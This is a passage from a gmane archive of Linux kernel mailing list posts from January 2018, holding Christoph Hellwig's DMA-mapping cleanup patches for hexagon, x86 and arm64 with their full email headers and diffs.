Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1eZBID-0000Ne-2V
	for glps-linuxsh-dev@m.gmane.org; Wed, 10 Jan 2018 08:59:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S965373AbeAJIB2 (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
        Wed, 10 Jan 2018 03:01:28 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:39791 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S965246AbeAJIBR (ORCPT
        <rfc822;linux-sh@vger.kernel.org>); Wed, 10 Jan 2018 03:01:17 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=g66mz7JWNM7HqT5Rp4bgxItPcuROsnIHJLnwcB5Iq+4=; b=cy1L5np7AOjxWNU3BcqrWRBVI
        qHD1AI1vWjxVy3CsJPwhF3MrZHuyEzr8xWPZK6+6YFecd9d35z5tnbqNLsg5T261vuWJCaXz4oWf1
        yzo9DaFHBkU6xP0lxeW+UYKVSZpoCftPvQ3sPigCBfe19vvXSJUtog6afgOwbefXRKs6pz9oolXTP
        9gDGaKkEGlgGi/lJTC6L1A8iKFfCh/+mRxfdU8Q6iAmaLaLRRWT7fFdWIGKTGST4BkK3TaUy7Ui8U
        II9aKd36PHBUb7LjW9LITmX8HELi0+cGgcmDAe+Yxs/xLQ3dRSUrXkofuwuEykJ6dmbwzO9mjgPtE
    
Original-Received: from clnet-p099-196.ikbnet.co.at ([83.175.99.196] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZBJu-0004c7-24; Wed, 10 Jan 2018 08:01:10 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180110080027.13879-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:56244 gmane.linux.kernel.iommu:22033 gmane.linux.ports.alpha:4687 gmane.linux.kernel.arc:3297 gmane.linux.ports.arm.kernel:625012 gmane.linux.ports.hexagon:1513 gmane.linux.ports.ia64:28512 gmane.linux.kernel.metag:1589 gmane.linux.ports.mips.general:63199 gmane.linux.ports.parisc:28188 gmane.linux.ports.ppc64.devel:151836 gmane.linux.ports.sparc:27195 gmane.linux.kernel.cross-arch:41257 gmane.linux.kernel:2662719
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/56244>

Signed-off-by: Christoph Hellwig <hch@lst.de>
Acked-by: Richard Kuo <rkuo@codeaurora.org>
---
 arch/hexagon/include/asm/dma-mapping.h | 7 -------
 arch/hexagon/kernel/dma.c              | 1 +
 2 files changed, 1 insertion(+), 7 deletions(-)

diff --git a/arch/hexagon/include/asm/dma-mapping.h b/arch/hexagon/include/asm/dma-mapping.h
index 5208de242e79..263f6acbfb0f 100644
--- a/arch/hexagon/include/asm/dma-mapping.h
+++ b/arch/hexagon/include/asm/dma-mapping.h
@@ -37,11 +37,4 @@ static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 	return dma_ops;
 }
 
-static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
-{
-	if (!dev->dma_mask)
-		return 0;
-	return addr + size - 1 <= *dev->dma_mask;
-}
-
 #endif
diff --git a/arch/hexagon/kernel/dma.c b/arch/hexagon/kernel/dma.c
index 546792d176a4..ad8347c29dcf 100644
--- a/arch/hexagon/kernel/dma.c
+++ b/arch/hexagon/kernel/dma.c
@@ -19,6 +19,7 @@
  */
 
 #include <linux/dma-mapping.h>
+#include <linux/dma-direct.h>
 #include <linux/bootmem.h>
 #include <linux/genalloc.h>
 #include <asm/dma-mapping.h>
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.hexagon,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 21/33] dma-mapping: add an arch_dma_supported hook
Date: Wed, 10 Jan 2018 09:00:15 +0100
Lines: 101
Approved: news@gmane.org
Message-ID: <20180110080027.13879-22-hch@lst.de>
References: <20180110080027.13879-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515571188 6429 195.159.176.226 (10 Jan 2018 07:59:48 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 07:59:48 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        linux-metag@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, patches@groups.riscv.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        x86@kernel.org, linux-arch@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-hexagon-owner@vger.kernel.org Wed Jan 10 08:59:42 2018
Return-path: <linux-hexagon-owner@vger.kernel.org>
Envelope-to: glphk-linux-hexagon@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-hexagon-owner@vger.kernel.org>)
	id 1eZBIT-00010G-G5
	for glphk-linux-hexagon@m.gmane.org; Wed, 10 Jan 2018 08:59:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932174AbeAJIBo (ORCPT <rfc822;glphk-linux-hexagon@m.gmane.org>);
        Wed, 10 Jan 2018 03:01:44 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:43366 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S965426AbeAJIBl (ORCPT
        <rfc822;linux-hexagon@vger.kernel.org>);
        Wed, 10 Jan 2018 03:01:41 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=3h3P2/8IxO6IQpO8f9DTPtlVbwpGcxUpPPaVFzN/FFg=; b=V3YlOz8PixqX7t86xsanVkQof
        4hRzpvh0qV5YmNctRAV7walx3pC9gUNP0ZStCrOfGGHpJQCa22NtAU92kXPMWtTjdn5z3jLhMjFX2
        4mmQ8W0gZsv1Ky5L7rU4VQuDdrUqTyKSLwaMq/J7MesyApSMJTX1gdcUgYWM/7i/FYReW8vaigJza
        0dIAxpst9zt2Nxgx4TnCC/X2/yi2Kn+xSO5s3dVRyAK1Y8nM4EZgrz1uK8CMsGZV8rqK9vUw5P8fb
        rZPkl28/MvYSfvvtrd4xDhl4UZSATf23JhilIHsdXK0LOkT8GCDY/sOb/zi2+yTZEB45XEnueAKah
    
Original-Received: from clnet-p099-196.ikbnet.co.at ([83.175.99.196] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZBKI-00057Q-6c; Wed, 10 Jan 2018 08:01:34 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180110080027.13879-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-hexagon-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-hexagon.vger.kernel.org>
X-Mailing-List: linux-hexagon@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.hexagon:1514 gmane.linux.kernel.iommu:22034 gmane.linux.ports.alpha:4688 gmane.linux.kernel.arc:3298 gmane.linux.ports.arm.kernel:625013 gmane.linux.ports.ia64:28513 gmane.linux.kernel.metag:1590 gmane.linux.ports.mips.general:63200 gmane.linux.ports.parisc:28189 gmane.linux.ports.ppc64.devel:151837 gmane.linux.ports.sh.devel:56245 gmane.linux.ports.sparc:27196 gmane.linux.kernel.cross-arch:41258 gmane.linux.kernel:2662720
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.hexagon/1514>

To implement the x86 forbid_dac and iommu_sac_force we want an arch hook
so that it can apply the global options across all dma_map_ops
implementations.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/x86/include/asm/dma-mapping.h |  3 +++
 arch/x86/kernel/pci-dma.c          | 19 ++++++++++++-------
 include/linux/dma-mapping.h        | 11 +++++++++++
 3 files changed, 26 insertions(+), 7 deletions(-)

diff --git a/arch/x86/include/asm/dma-mapping.h b/arch/x86/include/asm/dma-mapping.h
index dfdc9357a349..6277c83c0eb1 100644
--- a/arch/x86/include/asm/dma-mapping.h
+++ b/arch/x86/include/asm/dma-mapping.h
@@ -30,6 +30,9 @@ static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 	return dma_ops;
 }
 
+int arch_dma_supported(struct device *dev, u64 mask);
+#define arch_dma_supported arch_dma_supported
+
 bool arch_dma_alloc_attrs(struct device **dev, gfp_t *gfp);
 #define arch_dma_alloc_attrs arch_dma_alloc_attrs
 
diff --git a/arch/x86/kernel/pci-dma.c b/arch/x86/kernel/pci-dma.c
index 61a8f1cb3829..df7ab02f959f 100644
--- a/arch/x86/kernel/pci-dma.c
+++ b/arch/x86/kernel/pci-dma.c
@@ -215,7 +215,7 @@ static __init int iommu_setup(char *p)
 }
 early_param("iommu", iommu_setup);
 
-int x86_dma_supported(struct device *dev, u64 mask)
+int arch_dma_supported(struct device *dev, u64 mask)
 {
 #ifdef CONFIG_PCI
 	if (mask > 0xffffffff && forbid_dac > 0) {
@@ -224,12 +224,6 @@ int x86_dma_supported(struct device *dev, u64 mask)
 	}
 #endif
 
-	/* Copied from i386. Doesn't make much sense, because it will
-	   only work for pci_alloc_coherent.
-	   The caller just has to use GFP_DMA in this case. */
-	if (mask < DMA_BIT_MASK(24))
-		return 0;
-
 	/* Tell the device to use SAC when IOMMU force is on.  This
 	   allows the driver to use cheaper accesses in some cases.
 
@@ -249,6 +243,17 @@ int x86_dma_supported(struct device *dev, u64 mask)
 
 	return 1;
 }
+EXPORT_SYMBOL(arch_dma_supported);
+
+int x86_dma_supported(struct device *dev, u64 mask)
+{
+	/* Copied from i386. Doesn't make much sense, because it will
+	   only work for pci_alloc_coherent.
+	   The caller just has to use GFP_DMA in this case. */
+	if (mask < DMA_BIT_MASK(24))
+		return 0;
+	return 1;
+}
 
 static int __init pci_iommu_init(void)
 {
diff --git a/include/linux/dma-mapping.h b/include/linux/dma-mapping.h
index 88bcb1a8211d..d67742dad904 100644
--- a/include/linux/dma-mapping.h
+++ b/include/linux/dma-mapping.h
@@ -576,6 +576,14 @@ static inline int dma_mapping_error(struct device *dev, dma_addr_t dma_addr)
 	return 0;
 }
 
+/*
+ * This is a hack for the legacy x86 forbid_dac and iommu_sac_force. Please
+ * don't use this is new code.
+ */
+#ifndef arch_dma_supported
+#define arch_dma_supported(dev, mask)	(1)
+#endif
+
 static inline void dma_check_mask(struct device *dev, u64 mask)
 {
 	if (sme_active() && (mask < (((u64)sme_get_me_mask() << 1) - 1)))
@@ -588,6 +596,9 @@ static inline int dma_supported(struct device *dev, u64 mask)
 
 	if (!ops)
 		return 0;
+	if (!arch_dma_supported(dev, mask))
+		return 0;
+
 	if (!ops->dma_supported)
 		return 1;
 	return ops->dma_supported(dev, mask);
-- 
2.14.2


From - Thu Nov 08 21:40:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 10/33] arm64: don't override dma_max_pfn
Date: Wed, 10 Jan 2018 09:00:04 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <20180110080027.13879-11-hch@lst.de>
References: <20180110080027.13879-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515571193 7257 195.159.176.226 (10 Jan 2018 07:59:53 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 07:59:53 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	Konrad Rzeszutek Wilk <konrad-Gq0aWv8utHQdnm+yROfE0A@public.gmane.org>,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Wed Jan 10 08:59:47 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eZBIE-0000ZV-3H
	for glki-iommu@m.gmane.org; Wed, 10 Jan 2018 08:59:26 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 5AA68E9E;
	Wed, 10 Jan 2018 08:01:08 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 16008E91
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Wed, 10 Jan 2018 08:01:07 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org [65.50.211.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id B94B614E
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Wed, 10 Jan 2018 08:01:06 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=4cdVq1WsJPdLN8m3rv5GkH4HcAWJpLXxQfk840qmbmg=;
	b=rd2Ba0YnhhCyXBMwDm7RCWHHl
	oV0IecFhzT1npFB3mUU5469EVobV6/C+LnjINB3e5jCVglx7QCDV+Cs6LLYZcSFISHLvXZyvOUqDs
	jIGQJERD162iSEwQA9k/HkinMV6xOFZOTlUzdRpVPeklQplJepqWAhthTjJNQ5LMpbsrplu6Fsnie
	ej5i4q6MIZFnV57a0j4tQhurvUndhg9n9a1jfvtV60oVnqTvz9iF2aF75jnAAcQ1kx9qQsc0sR6G5
	2FtP/CGk1BrNJx0rYF/+/c1EDhoDoPKeRmowDs/9hi/vzZkg/d0DHfiycVgcIDQDgF2fKvFg0nuBn
	fGz2W34KA==;
Original-Received: from clnet-p099-196.ikbnet.co.at ([83.175.99.196] helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
	id 1eZBJl-0004PV-1F; Wed, 10 Jan 2018 08:01:01 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180110080027.13879-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:22035 gmane.linux.ports.mips.general:63201 gmane.linux.ports.ia64:28514 gmane.linux.ports.sh.devel:56246 gmane.linux.ports.sparc:27197 gmane.linux.kernel.cross-arch:41259 gmane.linux.ports.hexagon:1515 gmane.linux.kernel.arc:3299 gmane.linux.kernel.metag:1591 gmane.linux.ports.arm.kernel:625014 gmane.linux.ports.parisc:28190 gmane.linux.kernel:2662721 gmane.linux.ports.alpha:4689 gmane.linux.ports.ppc64.devel:151838
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/22035>

The generic version now takes dma_pfn_offset into account, so there is no
more need for an architecture override.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/arm64/include/asm/dma-mapping.h | 9 ---------
 1 file changed, 9 deletions(-)

diff --git a/arch/arm64/include/asm/dma-mapping.h b/arch/arm64/include/asm/dma-mapping.h
index 0df756b24863..eada887a93bf 100644
--- a/arch/arm64/include/asm/dma-mapping.h
+++ b/arch/arm64/include/asm/dma-mapping.h
@@ -76,14 +76,5 @@ static inline void dma_mark_clean(void *addr, size_t size)
 {
 }
 
-/* Override for dma_max_pfn() */
-static inline unsigned long dma_max_pfn(struct device *dev)
-{
-	dma_addr_t dma_max = (dma_addr_t)*dev->dma_mask;
-
-	return (ulong)dma_to_phys(dev, dma_max) >> PAGE_SHIFT;
-}
-#define dma_max_pfn(dev) dma_max_pfn(dev)
-
 #endif	/* __KERNEL__ */
 #endif	/* __ASM_DMA_MAPPING_H */
-- 
2.14.2


From - Thu Nov 08 21:40:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 19/33] dma-mapping: warn when there is no coherent_dma_mask
Date: Wed, 10 Jan 2018 09:00:13 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20180110080027.13879-20-hch@lst.de>
References: <20180110080027.13879-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515571196 8045 195.159.176.226 (10 Jan 2018 07:59:56 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 07:59:56 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad-Gq0aWv8utHQdnm+yROfE0A@public.gmane.org>,
        linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
        linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
        linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
        linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
        linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
        linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>,
        x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Wed Jan 10 08:59:50 2018
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1eZBIU-00010G-0Z
	for glkm-linux-metag@m.gmane.org; Wed, 10 Jan 2018 08:59:42 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
        id S965431AbeAJIBl (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
        Wed, 10 Jan 2018 03:01:41 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:46259 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S965361AbeAJIBg (ORCPT
        <rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
        Wed, 10 Jan 2018 03:01:36 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=gdKcNhUwKP3PwBccghqC2twvwkeki+gAoII08IG/Dp8=; b=eIcGJwNThu76tOlytbxnLu70G
        20+XKTmTo7G0kjFHw1gaIYaC9fX3BI05+iSLQztKjTkuWSr87o7j3vC8JsOKtEJz8Xxq7lCBazP4P
        UVo+y1dWcASqXkTiq+z5lVv5R3U7fYVyo1w2sVibVVU9Wn/0Brh53qaAazUzfCFyIjNVUv5gTdQNm
        BFfr8icxVgyGCPcfRg0AQ4keQhNdNfx0e04XcY2Ml/RbnhNGIYrgjHNJzHsuADvtO7jwh9HfW43/H
        aNR4vh5DIo48Wk/X4V0bQBOb2WjkYRjns6DiQktoqfiOnqK1yxiCoxadGkcFPZDVmrL9u4lV4g5y6
    
Original-Received: from clnet-p099-196.ikbnet.co.at ([83.175.99.196] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZBKC-00050A-63; Wed, 10 Jan 2018 08:01:28 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180110080027.13879-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
